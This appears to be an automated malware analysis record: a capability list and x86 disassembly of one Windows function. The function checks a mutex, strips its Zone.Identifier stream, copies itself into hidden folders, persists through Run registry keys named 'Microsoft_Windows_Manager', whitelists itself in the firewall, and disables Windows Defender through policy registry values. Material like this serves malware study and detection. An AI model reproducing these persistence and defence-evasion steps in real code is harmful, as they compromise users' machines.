Function at 0x402b12
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Delete file
Disable windows defender features via registry on windows
Persist via run registry key
Persist via windows service
Query environment variable
Query or enumerate registry value
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc48
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
push 0x3e8
call ebx
push 0x4088bc
xor edi, edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402b4e
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x208
push esi
lea eax, [ebp - 0x630]
push edi
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], 1
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0xa40]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x838]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
push esi
lea eax, [ebp - 0x630]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x630]
push eax
push str._ls:Zone.Identifier
lea eax, [ebp - 0xa40]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
lea eax, [ebp - 0xa40]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [ebp - 0x18], str._windir_
mov dword [ebp - 0x14], str._userprofile_
mov dword [ebp - 0x10], str._temp_
mov dword [ebp - 8], edi
push esi
lea eax, [ebp - 0xc48]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x428]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x220]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
push esi
lea eax, [ebp - 0xc48]
push eax
mov eax, dword [ebp - 8]
push dword [ebp + eax*4 - 0x18]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc48]
push eax
push str._lsM_5050065845655086047056050
lea eax, [ebp - 0x428]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
push 0x4088c0
lea eax, [ebp - 0x428]
push eax
push str._ls_ls
lea eax, [ebp - 0x220]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x24
lea eax, [ebp - 0x220]
push eax
call ebx
test eax, eax
jne 0x402cb1
lea eax, [ebp - 0x428]
push eax
call ebx
test eax, eax
jne 0x402c8b
push edi
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x402cb1
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jb 0x402be7
mov ebx, str.Microsoft_Windows_Manager
push ebx
lea eax, [ebp - 0x220]
push eax
push str._ls::Enabled:_s
lea eax, [ebp - 0x838]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x630]
push eax
call sub.MSVCRT.dll_wcscmp
add esp, 0x1c
test eax, eax
je 0x402dbf
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 7
lea eax, [ebp - 0x428]
push eax
call esi
push 7
lea eax, [ebp - 0x220]
push eax
call esi
lea eax, [ebp - 4]
push eax
mov esi, 0xf003f
push esi
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402d58
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_wcslen
pop ecx
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x220]
push eax
push 1
push edi
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push esi
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402da1
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_wcslen
pop ecx
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x220]
push eax
push 1
push edi
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x220]
push eax
call fcn.00402f69
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402b47
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
mov esi, 0xf003f
push esi
push edi
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList_
push 0x80000002
call ebx
test eax, eax
jne 0x402e2e
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 2
jne 0x402e25
lea eax, [ebp - 0x838]
push eax
call sub.MSVCRT.dll_wcslen
pop ecx
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x838]
push eax
push 1
push edi
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push esi
push edi
push str.SOFTWAREPoliciesMicrosoftWindows_Defender_
push 0x80000002
call ebx
test eax, eax
jne 0x402e78
push edi
push edi
push edi
push edi
mov esi, 0x406630
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 2
jne 0x402e6f
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push edi
push 0x402048
call fcn.0040334d
push edi
push edi
push 0x401192
call fcn.0040334d
push 1
push edi
push 0x402ae2
call fcn.0040334d
add esp, 0x24
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10